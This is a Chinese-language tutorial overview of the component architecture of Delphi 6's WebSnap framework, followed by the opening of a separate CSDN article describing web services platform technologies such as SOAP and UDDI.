WebSnap 說 明 文 件 實 在 太 少 了 ， 以 一 個 如 此 龐 大 的 架 構 而 言 ， 沒 有 說 明 文 件 的 輔 助 ， 使 用 者 很 難 用 的 上 手 。 在 DELPHI 6 出 貨 時 只 扮 隨 著 幾 個 WebSnap 的 範 例 程 式 ， 的 確 ! 以 範 例 程 式 的 標 準 來 說 ， 這 些 範 例 程 式 都 相 當 有 水 準 ， 也 適 當 的 點 出 了 許 多 WebSnap 技 巧 的 應 用 方 式 ， 可 惜 就 是 太 有 水 準 了 ， 容 易 令 使 用 者 知 其 然 而 不 知 其 所 以 然 ， 在 實 際 應 用 時 很 容 易 產 生 瓶 頸 ， 此 時 又 沒 有 說 明 文 件 可 查 詢 ， 所 以 使 用 者 也 只 能 靠 著 除 錯 範 例 程 式 或 是 在 NewsGroup 上 詢 問 別 人 ， 藉 此 來 了 解 整 個 WebSnap 架 構 及 運 用 技 巧 ， 這 不 但 沒 效 率 而 且 很 費 時 ! 因 此 我 希 望 這 篇 文 章 能 稍 稍 減 輕 這 種 現 象 ， 由 於 WebSnap 架 構 相 當 的 龐 大 ， 因 此 我 將 WebSnap 分 成 兩 篇 文 章 ， 一 篇 是 概 觀 篇 ， 另 一 篇 則 是 應 用 篇 ， 概 觀 篇 中 涵 蓋 了 WebSnap 的 設 計 概 念 及 基 本 應 用 ， 應 用 篇 則 涵 蓋 了 進 階 應 用 及 設 計 WebSnap 元 件 ， 老 話 一 句 ! 希 望 你 能 由 這 兩 篇 文 章 中 得 到 你 想 要 的 知 識 。

第 一 章 、 WebSnap 架 構 概 觀

WebSnap 是 一 個 相 當 龐 大 的 架 構 ， 為 了 使 這 個 架 構 適 應 日 後 的 擴 充 或 移 植 ， Borland 使 用 了 許 多 近 代 的 Design Patterns 來 建 構 她 。 使 用 Patterns 雖 然 能 夠 使 整 個 系 統 架 構 的 延 展 性 增 加 ， 可 是 對 一 些 不 熟 悉 Patterns 的 使 用 者 來 說 ， 這 同 時 也 造 成 了 學 習 曲 線 增 長 的 困 擾 。 這 些 使 用 者 通 常 很 難 在 一 開 始 時 就 了 解 整 個 WebSnap 架 構 的 流 程 及 運 用 方 式 ， 容 易 迷 失 在 眾 多 的 元 件 及 介 面 叢 林 中 。 但 是 你 一 旦 領 略 到 WebSnap 為 何 會 設 計 成 這 樣 後 ， 你 會 發 現 到 這 個 架 構 美 麗 的 一 面 。 在 這 一 章 中 我 試 著 對 WebSnap 做 一 個 概 觀 型 的 討 論 ， 讓 你 對 整 個 架 構 有 一 個 基 本 的 認 識 ， 後 面 的 章 節 再 用 實 作 來 引 導 你 做 進 一 步 的 了 解 。 這 可 能 是 你 第 一 次 接 觸 WebSnap ， 因 此 我 建 議 你 在 看 這 章 時 以 看 故 事 的 心 態 來 閱 讀 ， 不 需 要 強 迫 自 己 了 解 這 一 章 所 談 的 所 有 東 西 ， 也 不 需 要 停 留 在 本 章 太 久 。 待 日 後 再 回 到 這 一 章 來 複 習 ， 這 對 你 的 學 習 之 旅 會 比 較 輕 鬆 一 點 。

1-1 WebSnap 的 八 大 元 件 類 別

WebSnap 由 數 十 個 元 件 以 及 Interface( 介 面 ) 所 組 成 ， 其 中 各 個 元 件 與 Interface 之 間 的 關 係 相 當 的 複 雜 ， 這 一 章 之 中 ， 我 們 用 你 在 Component Palette 能 看 到 的 17 個 元 件 與 Web Module 為 基 礎 ， 分 成 八 大 類 :

Web Module

PageProducer

Dispatcher

Adapters

Sessions

ValueList

Wrapper

Services

1-2 、 Web Module

在 WebSnap 眾 多 的 元 件 中 ， Web Module 位 於 較 核 心 的 部 份 ， 她 在 WebSnap 中 扮 演 著 容 器 元 件 的 角 色 。 你 可 以 在 Web Module 中 放 置 Web Components 或 是 其 它 的 非 視 覺 化 的 元 件 ， 就 像 是 以 往 我 們 使 用 TDataModule 元 件 一 樣 。 事 實 上 她 也 是 繼 承 至 TDataModule ， 只 是 加 入 了 許 多 特 別 為 Web 所 設 計 的 功 能 。 在 WebSnap 中 Web Module 分 成 兩 大 類 ， 在 每 一 類 中 又 可 細 分 為 兩 小 類 :

Application Module | Page Module
 | Data Module
Generic Module | Page Module
 | Data Module

在 一 個 WebSnap 程 式 中 ， 至 少 必 須 含 有 一 個 Application Module ， 在 這 個 Web Module 中 你 必 須 放 置 一 個 TWebAppComponents 元 件 ， 這 個 元 件 就 是 WebSnap 的 中 心 。 所 有 的 Client Request( 網 頁 要 求 或 是 Action) 都 會 經 由 她 分 送 至 其 它 的 Global Components 元 件 。 Application Module 扮 演 著 網 頁 程 式 的 Control Center( 控 制 中 心 ) 角 色 ， 任 何 對 於 這 個 程 式 的 要 求 都 會 先 送 往 Application Module 。 WebSnap 提 供 了 兩 個 不 同 類 型 的 Application Module ， 因 應 不 同 的 專 案 需 求 ， 你 可 以 選 擇 可 輸 出 網 頁 的 Application PageModule 或 是 不 輸 出 網 頁 ， 只 單 純 放 置 資 料 或 其 它 非 視 覺 化 元 件 的 Application DataModule 。 當 你 選 擇 的 是 輸 出 網 頁 的 Application Module 時 ， 你 必 須 放 置 一 個 PageProducer 元 件 到 這 個 Module 中 ， 這 個 元 件 的 作 用 是 提 供 PageModule 輸 出 網 頁 的 能 力 ， 通 常 我 們 會 使 用 Application PageModule 來 當 成 網 站 的 首 頁 ， 不 過 這 不 是 絕 對 的 ， 我 們 也 可 以 使 用 Application DataModule ， 將 PageDispatch 元 件 的 Default Page 特 性 值 設 成 我 們 首 頁 的 Web Module 名 稱 ， 那 這 個 Web Module 就 會 成 為 首 頁 。 Application DataModule 與 Application Page Module 功 能 上 大 致 相 同 ， 差 別 在 於 該 Web Module 是 否 有 輸 出 網 頁 的 能 力 。 Application DataModule 並 沒 有 輸 出 網 頁 的 能 力 ， 因 此 她 只 是 一 個 擁 有 Control Center 特 質 的 元 件 容 器 。 Generic Module 與 Application Module 的 功 能 大 致 相 同 ， 差 別 只 在 於 Control Center 的 特 殊 能 力 上 , 下 面 是 Web Module 的 運 作 流 程 圖 :

( 圖 :1)

在 這 個 流 程 中 有 一 個 重 點 需 要 特 別 注 意 ， 那 就 是 當 你 選 擇 的 Application Module 是 PageModule 時 ， 假 設 Client Request 訊 息 中 並 未 特 別 指 明 所 要 求 的 網 頁 ， PageDispatcher 元 件 就 會 將 Client Request 導 向 位 於 Application PageModule 中 的 PageProducer 元 件 ， 利 用 她 輸 出 網 頁 後 傳 回 Client 端 。 如 之 前 所 討 論 的 ， 這 個 動 作 會 受 到 PageDispatcher 元 件 的 DefaultPage 特 性 值 所 影 響 ， 你 可 以 藉 由 改 變 這 個 特 性 值 來 變 動 首 頁 的 位 置 。 由 流 程 中 你 可 以 發 現 到 ， Dispatcher 元 件 在 WebSnap 中 所 扮 演 的 角 色 是 訊 息 分 發 者 ， 作 用 是 將 Client Request 導 向 正 確 的 Module ， 接 著 經 由 該 Module 中 的 PageProducer 元 件 所 提 供 的 輸 出 網 頁 能 力 ， 將 網 頁 輸 出 後 傳 回 Client 端 。 當 要 求 的 網 頁 中 含 有 ServerSide-Script 時 ， WebSnap 會 呼 叫 Active Script Engine 來 解 譯 這 些 Script 程 式 碼 ， 產 生 出 最 終 的 HTML Document ， 最 後 經 由 WebBroker 傳 回 給 Client 端 顯 示 。 為 了 支 援 ServiceSide-Script ， 以 往 InternetExpress 架 構 中 的 TPageProducer 元 件 已 經 被 增 強 為 可 處 理 Script 的 元 件 ， 你 可 以 在 她 的 ScriptEngine 特 性 值 中 設 定 你 的 程 式 所 需 要 使 用 的 Script Engine 類 型 。 目 前 的 WebSnap 支 援 JScript 及 VBScript 兩 種 Script 語 言 ， 日 後 應 該 會 支 援 更 多 的 Script Engine ( 如 :PHP) 。 在 WebSnap 整 個 架 構 中 ， 所 有 元 件 的 差 異 性 通 常 是 決 定 在 元 件 所 實 作 的 Interface 上 ， Web Module 也 不 例 外 。 Application Module 與 Generic Module 之 間 的 差 異 在 於 IGetWebAppServices 這 個 介 面 上 ， Application Module 中 實 作 了 這 個 介 面 ， 而 這 個 介 面 中 定 義 了 取 出 TWebComponents 元 件 的 函 式 ， 因 此 WebSnap 可 以 經 由 此 介 面 的 函 式 取 出 TWebAppComponets 元 件 ， 再 經 由 她 取 得 Dispatcher 類 元 件 或 是 其 它 的 Global Components 。 Generic Module 則 未 實 作 此 介 面 ， 這 個 介 面 是 Control Center 能 力 的 源 頭 。 PageModule 及 DataModule 之 間 的 差 異 則 是 在 於 IPageResult,ISetWebContentOptions, IGetDefaultAction, IGetProducerComponent,IProducerEditorViewSupport 這 五 個 介 面 上 ， 實 作 IPageResult 介 面 的 元 件 必 須 提 供 輸 出 網 頁 的 函 式 ， 當 WebSnap 遇 到 實 作 此 介 面 的 元 件 時 ， 她 會 呼 叫 其 中 的 輸 出 函 式 來 取 得 網 頁 內 容 。 IGetDefaultAction 介 面 中 則 定 義 了 取 出 DefaultAction 物 件 的 函 式 ， 這 個 物 件 的 意 義 常 常 被 搞 混 ， 以 為 當 此 Page Module Activate( 活 化 ) 時 就 會 觸 發 這 個 Action 的 事 件 函 式 。 事 實 上 不 然 ， 她 只 在 特 殊 的 情 況 下 才 會 被 觸 發 ， 在 下 面 的 章 節 中 會 說 明 這 些 情 況 。 IGetProducerComponent 介 面 中 定 義 了 取 得 PageProducer 元 件 的 函 式 ， Dispatcher 需 要 使 用 這 個 函 式 來 取 得 Web Module 中 的 PageProducer 元 件 ， 進 而 利 用 她 來 輸 出 網 頁 。 IProducerEditorViewSupport 則 是 IDE 所 使 用 的 介 面 ， 用 來 判 別 Module 擁 有 那 些 檔 案 ， 如 XML,Script 等 ( 簡 單 的 說 就 是 你 能 夠 在 IDE 中 看 到 那 些 檔 案 ) 。 ISetWebContentOptions 介 面 目 前 只 使 用 在 當 Web Module 中 的 HTML Template File( 網 頁 範 本 檔 ) 含 有 IncludePage 命 令 時 暫 時 關 掉 執 行 Script 的 動 作 ， 避 免 執 行 到 不 完 整 的 Script 程 式 後 產 生 不 正 確 的 內 容 。 Web Module 中 提 供 了 幾 個 事 件 讓 我 們 處 理 ， 這 些 事 件 的 使 用 方 式 都 蠻 直 覺 的 。 Activate 類 事 件 是 在 Module 被 活 化 或 離 開 時 觸 發 ， 也 就 是 在 Dispatcher 解 析 Client Request 取 得 需 要 的 Web Module 名 稱 ， 接 著 找 到 對 應 的 Web Module 時 觸 發 OnActivate 事 件 ， 以 及 離 開 該 Module 時 觸 發 OnDeactivate 事 件 。 這 裡 有 一 點 必 須 注 意 ， Activate/Deactivate 事 件 不 等 於 Create/Destroy 事 件 。 當 網 頁 被 設 定 為 OnCached 模 式 時 ， Activate/Deactivate 事 件 可 能 會 被 觸 發 許 多 次 ， 而 Create/Destroy 事 件 只 會 在 Module 被 建 立 或 消 滅 時 才 會 觸 發 ， 接 著 會 再 觸 發 Activate/Deactivate 類 事 件 ， DispatchPage 類 事 件 則 會 在 Dispatcher 活 化 Web Module 後 輸 出 網 頁 的 前 後 觸 發 ， 實 務 上 來 看 ， 你 應 該 將 初 始 化 的 程 式 碼 放 在 Activate Event ， 但 是 這 有 個 例 外 ， 那 就 是 當 你 在 某 一 個 Web Module 中 提 供 一 個 Action 讓 使 用 者 執 行 ， 假 如 執 行 後 所 轉 向 的 Page Module 是 自 己 本 身 時 ， 在 執 行 Action 之 後 的 Activate 類 事 件 將 不 會 被 觸 發 ， 這 是 因 為 當 執 行 Action 前 Module 就 已 經 被 活 化 了 ， 也 就 是 說 Activate 已 被 執 行 過 了 。 這 時 你 必 須 將 初 使 化 的 程 式 碼 移 往 DispatchPage 類 事 件 中 ， 這 個 事 件 會 在 每 次 輸 出 網 頁 前 後 被 觸 發 。 我 們 也 可 以 在 DispatchPage 類 事 件 內 將 網 頁 導 向 另 一 個 Web Module ， 這 會 用 在 當 我 們 不 希 望 使 用 者 直 接 進 入 該 網 頁 ， 而 是 希 望 她 經 由 某 個 Action 轉 向 該 網 頁 時 ， 這 時 我 們 就 可 以 應 用 這 個 事 件 來 處 理 ， 在 下 面 的 章 節 中 我 們 會 對 Activate 、 DispatchPage 、 DefaultAction 做 更 深 入 的 討 論 以 及 應 用 。

1-3 、 PageProducer

除 了 原 先 InternetExpress 架 構 中 的 TPageProducer 與 TxxPageProducer 元 件 之 外 ， WebSnap 還 提 供 了 TXSLPageProdcuer 、 TAdapterPageProducer 這 兩 個 新 的 PageProducer 。 TAdapterPageProducer 是 目 前 我 們 在 WebSnap 中 較 常 用 的 PageProducer 元 件 。 她 可 以 讓 我 們 以 視 覺 化 設 計 網 頁 ， 同 時 延 用 元 件 觀 念 來 設 計 網 頁 應 用 程 式 。 這 些 能 力 來 自 於 IWebComponentEditor 及 IProducerEditorViewSupport 這 兩 個 介 面 。 IWebComponentEditor 可 以 讓 TAdapterPageProducer 過 濾 加 入 的 子 元 件 型 別 ， 這 很 重 要 ， 因 為 在 WebSnap 中 是 以 實 作 的 介 面 來 區 分 元 件 類 型 ， 因 此 大 部 份 的 WebSnap 元 件 都 是 繼 承 至 TComponent 而 來 ， 這 時 必 須 視 她 們 實 作 的 介 面 來 決 定 是 否 可 以 成 為 TAdapterPageProducer 的 子 元 件 。 IProducerEditorViewSupport 的 功 能 與 Module 內 的 xxEditorViewSupport 介 面 相 同 ， 差 別 是 Module 將 她 用 在 Code Editor 上 ， 而 TAdapterPageProducer 則 是 將 她 用 在 Visual Page Designer 上 。 在 TAdapterPageProducer 元 件 中 有 一 個 WebPageItems 屬 性 ， 這 個 屬 性 來 自 於 TAdapterPageProducer 的 父 類 別 TBasePageItemsProducer 。 這 就 是 TAdapterPageProducer 儲 存 子 元 件 的 地 方 ， WebSnap 識 別 此 類 元 件 的 方 法 就 是 判 別 該 元 件 是 否 實 作 了 IGetWebComponentList 這 個 介 面 ， 接 著 再 經 由 此 介 面 取 得 IWebComponentList 介 面 後 處 理 這 些 子 元 件 。 在 TAdapterPageProducer 中 提 供 了 三 個 事 件 ， OnHTMLTag 事 件 是 用 來 識 別 某 個 Tag 時 觸 發 ， 再 由 設 計 師 置 換 成 其 它 內 容 ， 我 們 通 常 利 用 她 來 動 態 改 變 某 區 段 的 網 頁 內 容 。 GetContent 事 件 則 是 在 TAdapterPageProducer 輸 出 網 頁 的 前 後 觸 發 。 OnHTMLTag 只 在 HTML Template File 中 含 有 Tag( 如 <#TEST>) 時 才 會 觸 發 ， GetContent 事 件 則 會 在 每 次 輸 出 網 頁 前 後 觸 發 。 值 得 注 意 的 是 GetContent 事 件 觸 發 的 時 間 比 OnHTMLTag 早 ， 這 也 代 表 這 你 在 OnHTMLTag 中 不 能 夠 處 理 Server-Side Script ， 因 為 此 時 的 Server-Side Script 已 被 執 行 完 畢 並 轉 為 HTML 文 件 了 。 GetContent 中 則 允 許 你 處 理 Server-Side Script ， 但 這 需 要 使 用 一 些 技 巧 ， 我 在 Inside WebSnap 一 文 中 會 提 到 這 類 的 技 術 。 TXSLPageProducer 則 是 允 許 你 使 用 XSL 來 處 理 網 頁 ， 由 於 XSL 部 份 的 知 識 範 圍 較 廣 ， 因 此 我 留 待 Inside WebSnap 時 再 討 論 相 關 的 運 用 。 目 前 TAdapterPageProducer 元 件 所 產 生 出 來 的 Server-Side Script 並 不 能 被 更 動 ， 如 果 你 希 望 對 ServerSide-Script 有 更 多 的 控 制 ， 你 可 以 選 擇 使 用 TAdapterPageProducer 來 設 計 你 的 網 頁 ， 完 成 後 再 將 HTML 內 容 複 製 到 TPageProducer 中 ， 用 TPageProducer 代 替 原 來 的 TAdapterPageProducder 來 輸 出 網 頁 ， 本 文 的 附 錄 中 有 詳 細 的 使 用 方 式 。

1-4 、 Dispatcher

由 圖 一 中 你 應 該 已 經 了 解 Dispatcher 在 WebSnap 架 構 中 所 扮 演 的 角 色 。 WebSnap 中 提 供 了 兩 個 Dispatcher 元 件 ， TPageDispatcher 及 TAdapterDispatcher ， 加 上 以 往 的 TWebDispatcher 後 ， 在 DELPHI 6 中 你 就 有 三 個 Dispatcher 元 件 可 以 使 用 。 TPageDispatcher 是 用 來 分 發 網 頁 要 求 的 元 件 ， 當 Client Request 一 個 網 頁 時 ， TPageDispatcher 負 責 找 到 該 頁 面 並 將 控 制 權 轉 交 給 該 網 頁 的 Page Module 。 TAdapterDispatcher 則 是 用 來 分 發 Action 要 求 ， 例 如 當 你 的 網 頁 中 有 一 個 按 紐 ， 這 個 按 紐 連 結 了 一 個 Action ， 因 此 當 使 用 者 按 下 這 個 按 紐 時 ， TAdapterDispatcher 會 負 責 找 到 這 個 Action 元 件 所 在 的 Web Module 後 ， 取 得 該 Action 元 件 來 執 行 該 Action 。 Dispatcher 同 時 也 提 供 了 使 用 者 權 限 的 控 制 ， 在 TPageDispatcher 找 到 Client 端 所 要 求 的 頁 面 時 ， 她 會 先 查 看 該 頁 面 的 權 限 資 料 來 決 定 使 用 者 是 否 有 權 限 可 以 取 得 該 頁 面 。 同 樣 的 ， 在 TAdapterDispatcher 分 發 Action 時 也 會 先 查 看 Action 元 件 的 執 行 權 限 設 定 做 同 樣 的 工 作 ， 後 面 的 章 節 會 介 紹 這 部 份 的 應 用 。 Dispatcher 類 元 件 雖 然 看 起 來 做 的 事 不 多 ， 事 實 上 她 卻 是 WebSnap 中 Pages Manager 的 主 角 ， 因 為 她 的 存 在 ， 你 才 能 一 行 程 式 碼 都 不 用 寫 ， 就 擁 有 了 Page Manager 的 功 能 。

( 圖 :2)

上 圖 中 我 們 可 以 清 楚 的 看 到 Dispatcher 元 件 的 運 作 模 式 ， 這 裡 有 件 事 要 稍 微 注 意 一 下 ， 當 Action 執 行 之 後 會 呼 叫 TPageDispatcher 元 件 來 轉 向 目 的 網 頁 ， 這 時 Action 元 件 中 的 RedirectOptions 特 性 值 是 決 定 是 否 執 行 目 的 網 頁 中 DefaultAction 事 件 的 關 鍵 。

1-5 、 Adapters

Adapter 是 WebSnap 中 相 當 重 要 的 軸 心 元 件 ， 同 時 也 是 最 複 雜 且 難 懂 的 部 份 。 物 件 導 向 設 計 模 式 中 ， Adapter 被 定 義 成 將 舊 有 物 件 包 裝 成 為 一 個 新 的 物 件 ， 並 在 另 一 種 系 統 架 構 中 運 用 她 ， 以 達 到 重 用 (Reuse) 的 目 的 。 WebSnap 中 Adapter 分 為 四 類 :

Adapter Container

Adapter Items

Adapter Control Container

Adapter Control Items

Adapter Container 是 一 種 Adapter 容 器 元 件 ， 她 可 以 包 含 其 它 的 Adapter Items ， 例 如 TApplicationAdapter 、 TEndUserAdapter 、 TEndUserSessionAdapter 、 TDataSetAdapter 等 都 是 Adapter Container 類 元 件 。 Adapter Items 類 元 件 則 有 TAdapterField 、 TAdapterAction 、 TAdapterDataSetField 等 。 這 兩 類 Adapter 都 屬 於 Scriptable-Object ， 這 也 就 是 說 你 能 夠 在 Active Script 中 使 用 她 們 來 取 得 Adapter 中 的 資 料 ， 就 像 是 在 ASP 中 使 用 ASP Object 的 方 式 使 用 她 們 。 除 了 這 兩 類 Adapter 之 外 ， Adapter Control Container 與 Adapter Control Items 則 是 屬 於 輔 助 型 的 Adapter 元 件 。 你 在 TAdapterPageProducer 所 看 到 的 TAdapterForm 、 TAdapterFieldGroup,TAdapterEditColumn 等 元 件 就 是 這 類 型 ， 這 些 Adapter 的 主 要 目 的 是 支 援 視 覺 化 設 計 功 能 。 技 術 上 來 說 ， 你 可 以 運 用 這 些 Adapter 來 連 結 Adapter Container 及 Adapter Items 並 產 生 出 HTML FORM or Script 。 這 類 Adapter 可 以 稱 之 為 Adapter 的 Adapter ， 值 得 注 意 的 是 ， Adapter Control Container 及 Adapter Control Items 並 不 是 Scriptable-Object ， 她 們 存 在 的 意 義 是 為 了 讓 你 可 以 使 用 Visual Page Designer 來 設 計 網 頁 ， 並 動 態 產 生 Script 與 HTML 碼 :

( 圖 :3)

上 圖 中 我 們 大 略 可 以 看 出 來 ， Adapter Control 類 元 件 是 用 來 將 Adapter 類 元 件 的 內 容 輸 出 至 HTML 中 的 元 件 。 例 如 TAdatperForm 會 使 用 Adapter Container 來 產 生 出 HTML FORM ， TAdapterEditColumn 則 會 使 用 Adapter Items 來 產 生 出 TextBox 或 是 CheckBox 這 些 樣 式 的 HTML Edit Control 。 事 實 上 她 們 所 做 的 工 作 很 多 ， 例 如 產 生 Script 連 結 至 Adapter ， 亦 或 是 產 生 一 些 HTML Table ， 某 些 應 用 上 她 們 還 會 產 生 出 對 應 的 Client Side Script 程 式 碼 。 在 Adapter Items 中 也 分 為 兩 類 ， TAdapterField 及 TAdapterAction 。 TAdapterField 是 用 來 處 理 資 料 用 的 ， 你 可 以 視 她 為 可 以 在 Script 中 使 用 的 變 數 。 TAdapterAction 則 是 用 來 處 理 Action ， 如 Hyperlink 、 Button 等 。 這 同 時 也 代 表 了 Adapter Control Items 中 也 會 分 為 兩 類 ， 一 是 用 來 處 理 TAdapterField 的 TAdapterEditColumn 、 TAdapterDisplayField 等 元 件 ， 另 一 類 則 是 用 來 處 理 TAdapterAction 的 TAdapterActionButton 元 件 。 Adapter 在 WebSnap 中 扮 演 著 相 當 重 要 的 角 色 ， 因 此 了 解 她 是 你 開 發 WebSnap 程 式 的 必 要 條 件 。 後 面 的 章 節 中 ， 我 會 針 對 各 種 Adapter 元 件 做 更 完 整 的 介 紹 。

1-6 、 Sessions

Session 功 能 是 一 個 網 頁 程 式 常 會 使 用 到 的 功 能 ， 例 如 在 一 個 購 物 網 站 中 的 購 物 車 功 能 ， 或 是 保 留 使 用 者 登 入 資 訊 等 功 能 都 需 要 她 的 幫 忙 。 在 以 往 的 WebBroker+InternetExpress 架 構 中 並 不 支 援 Session 的 運 用 ， 所 以 我 們 常 常 得 藉 助 於 3rd-Party 元 件 或 自 行 撰 寫 處 理 Session 的 程 式 碼 。 在 WebSnap 中 Borland 補 上 了 這 個 缺 口 ， 她 提 供 了 TSessionServices 這 個 元 件 來 控 管 Session 的 狀 態 。 當 你 的 Application Module 中 包 含 一 個 TSessionServices 元 件 時 ， 當 Client Request 到 達 後 WebSnap 就 會 在 WebContext 中 建 立 一 個 Session 物 件 ， 接 著 你 就 可 以 在 任 何 一 個 Web Module 中 使 用 這 個 物 件 來 處 理 Session 資 料 。 在 處 理 完 網 頁 要 求 後 ， WebSnap 會 將 這 個 Session 轉 換 成 Cookie 並 傳 回 Client 端 ， 這 樣 Client 在 下 次 瀏 覽 此 網 站 時 就 會 將 這 個 Cookie 送 給 Web Server ， 這 時 WebSnap 程 式 再 經 由 Cookie 取 出 對 應 的 Session 。 由 這 個 討 論 中 你 可 以 發 現 到 ， Session 功 能 是 建 立 在 Cookie 上 面 ， 所 以 當 Client 端 的 瀏 覽 器 設 定 中 將 Cookie 關 閉 時 ， Session 也 就 會 跟 著 失 效 ， 這 與 一 般 的 網 頁 程 式 相 同 。目 前 的 WebSnap 並 未 將 Session 儲 存 於 檔 案 中 ， 因 此 你 不 能 在 非 DLL 型 態 的 WebSnap 程 式 中 使 用 Session ，因 為 當 程 式 關 閉 後 ， 存 放 於 記 憶 體 中 的 Session 也 就 跟 著 消 失 了 ， 我 們 可 以 利 用 WebSnap 所 提 供 的 儲 存函 式 來 保 留 Session ， 在 Session 一 章 我 們 會 討 論 這 個 技 術 。 在 WebSnap 中 使 用 Session 物 件 是 件很 輕 鬆 的 事 ， 但 有 一 些 特 殊 情 況 需 要 你 多 加 注 意 ， 那 就 是 當 使 用 者 開 啟 了 兩 個 瀏 覽 器 時 ， 我 們 是 該 使 用兩 個 不 同 的 Session 還 是 共 用 一 個 呢 ? 這 在 一 些 網 頁 程 式 中 是 相 當 重 要 的 課 題 ， 在 Session 一 章 中 ，我 們 會 深 入 的 討 論 這 些 問 題 。

1-7 、 ValueList

ValueList 類 元 件 在 WebSnap 中 是 扮 演 著 輔 助 者 的 角 色 ， 例 如 TWebUserList 提 供 使 用 者 資 料 給 TEndUserAdpater 元 件 使 用 ， 或 是 TDataSetValueList 提 供 Records 給 TAdapterDataSetField 元 件 使 用 。 事 實 上 ValueList 也 是 一 個 Adapter ， 這 也 代 表 著 我 們 在 某 些 情 況 下 可 以 用 她 來 取 代 原 有 的 Adatper 元 件 。 ValueList 元 件 相 當 的 簡 單 並 容 易 使 用 ， 你 只 要 抓 住 一 個 慨 念 即 可 輕 易 的 使 用 她 ， 這 個 概 念 就 是 DELPHI 6 對 TStrings 所 增 加 的 新 功 能 Pair Value ， 簡 單 的 說 就 是 一 個 名 稱 跟 著 一個 值 ， 如 :Site=www.borland.com.tw ， Site 就 是 名 稱 ， 所 對 應 的 值 就 是 www.borland.com.tw 。 後 面 的 章 節 我 們 會 利 用 她 來 達 成 許 多 網 站 程 式 中 常 用 的 功 能 。

1-8 、 Wrapper

相 信 有 許 多 人 壓 根 兒 就 沒 有 看 過 這 個 東 西 ， 在 WebSnap 中 Wrapper 扮 演 極 核 心 的 角 色 ， 她 讓 你 可 以 在 Active Script 使 用 Scriptable-Object ， 例 如 下 面 這 段 Script 程 式 碼 :

<%= vAdapter1_Borland.DisplayText %>

vAdapter1_Borland 是 一 個 TAdapterField 元 件 ， 可 是 TAdapterField 只 能 夠 在 DELPHI 中 使 用 不 是 嗎 ? 沒 錯 ! 但 這 不 是 單 純 的 TAdapterField 元 件 ， 她 是 一 個 TAdapterFieldWrapper 元 件 。 這 個 Wrapper 元 件 中 包 含 著 一 個 TAdapterField 元 件 的 參 考 (Reference) ， 當 你 使 用 這 個 Wrapper 元 件 時 ， 她 會 將 你 對 她 的 操 作 轉 交 給 真 正 的 TAdapterField 元 件 。 這 也 是 WebSnap 中 Scriptable-Object 的 秘 密 ， 在 Windows 平 台 上 的 Wrapper 元 件 實 際 上 是 一 個 COM 物 件 ， 當 PageProducer 處 理 Active Script 之 前 ， 她 會 為 所 有 Scriptable-Object 建 立 Wrapper 元 件 ， 完 成 之 後 再 將 Script Document 交 由 Active Script Engine 處 理 ，而 Active Script Engine 允 許 我 們 在 Script 中 使 用 COM 物 件 ， 因 此 我 們 就 可 以 使 用 這 些 Wrapper 元 件 了 。當 Active Script Engine 解 譯 完 畢 後 就 會 產 生 出 最 後 的 HTML Document ， 最 後 再 由 WebSnap 程 式 將 HTML傳 回 Client 端 。

1-9 、 Services

這 一 類 型 的 元 件 通 常 是 屬 於 全 域 型 的 ， 主 要 是 輔 助 WebSnap 程 式 中 的 系 統 功 能 ， 例 如 SessionService 元 件 負 責 提 供 WebSnap 程 式 中 的 Session 的 支 援 ， 當 你 將 這 個 元 件 放 置 到 Application Module 之 後 ， 你 就 可 以 在 程 式 的 任 何 一 個 地 方 使 用 Session 物 件 來 保 存 資 料 。 LocateFileService 元 件 則 負 責 了 WebSnap 程 式 中 的 檔 案 存 取 功 能 ， 當 你 放 置 一 個 LocateFileService 元 件 到 Application Module 之 後 ， 所 有 相 關 的 檔 案 存 取 動 作 都 會 經 過 這 個 元 件 ， 因 此 你 可 以 利 用 她 的 事 件 來 讀 取 檔 案 或 是 進 行 其 它 的 處 理 。 因 為 這 些元 件 是 放 置 在 Application Module 中 ， 因 此 你 可 以 在 程 式 中 的 任 何 一 個 Web Module 中 存 取 到 她 。

本 章 後 記

這 一 節 中 我 們 對 WebSnap 做 了 一 個 慨 觀 的 討 論 ， 你 或 許 對 這 一 節 所 討 論 的 東 西 並 不 是 太 了 解 ，甚 至 可 以 說 模 糊 ! 別 洩 氣 ， 這 很 正 常 ! 你 會 在 下 面 的 討 論 中 漸 漸 理 解 在 這 裡 所 討 論 的 東 西 。

<第 二 章 、 第 一 個 WebSnap 程 式>


CSDN_文档中心_Web Services 平台

那么什么是web service 平台呢？最基本的平台是XML加HTTP。HTTP是一个在Internet上广泛使用的协议。XML是一种元语言，你可以用它书写特定的语言来描述客户和服务之间或者组件和复杂服务之间的交互。在web server之后，XML格式的消息被转变成中间件的请求，返回的结果也会转化成XML格式。

有必要增加一些服务，同时保持简单性和普遍性，来把Web构建成一个功能更强大的平台。可以认为功能全面的web services平台是XML＋HTTP＋SOAP＋WSDL＋UDDI。在更高层次上，可能还要加上一些尚未广泛接受的技术如XAML,XLANG, XKMS,和XFS。

以下是对这些平台要素的简要描述。需要指出的是，这些还是发展中的技术，很多时候对一个问题会有多种解决方案。
◆SOAP (Simple Object Access Protocol，远程调用)
◆UDDI (Universal Description, Discovery and Integration Service贸易，目录服务)
◆WSDL (描述服务特征)
◆XLANG/XAML (为包括多种web services的复杂web事务提供支持）
◆XKMS (XML Key Management Specification) - 支持认证和注册，这个工作还在进展之中

SOAP
SOAP是用在分散或分布的环境中交换信息的简单的协议，它是一个基于XML的协议，定义了传递XML-encoded数据时的统一方式。包括三个部分：封装定义了一个描述消息中包含什么内容以及如何处理它们的框架，编码规则用于表示应用程序定义的数据类型的实例，另外还有一个表示远程过程调用和应答的协定。SOAP被设计为可以与各种其它协议结合使用。

SOAP的兴起是基于这样一种认识，无论现在的中间件是如何的好，他们都需要一个WAN包装。以XML格式发送消息有很多好处，如能够确保互用性。中间件使用者看来愿意容忍解析和序列化XML文档的代价，因为这可以让他们的软件使用范围更宽。

IBM, Microsoft, UserLand,和DevelopMentor在2000年向W3C提交了SOAP，并成为W3C的Note，SOAP更长远的发展规划现在是由W3C的XML协议工作组来制定。这有力的表明了直到W3C工作组交付规范为止，SOAP都将是一个稳定的规范。

UDDI (Universal Description, Discovery and Integration Service)
UDDI为客户提供了动态查找其它Web Services的机制。使用UDDI接口，商务处理可以动态的连接到外部的商务合作者提供的服务上。一个UDDI注册类似于CORBA的trader，也可以把它想象成商业应用程序的DNS服务。一个UDDI注册有两种客户：要发布一个服务（和使用接口）的商务应用，以及想要得到特定服务的客户。UDDI层在SOAP层之上，并假定请求和应答都是以SOAP消息传送的UDDI对象。

WSDL ：Web服务定义语言
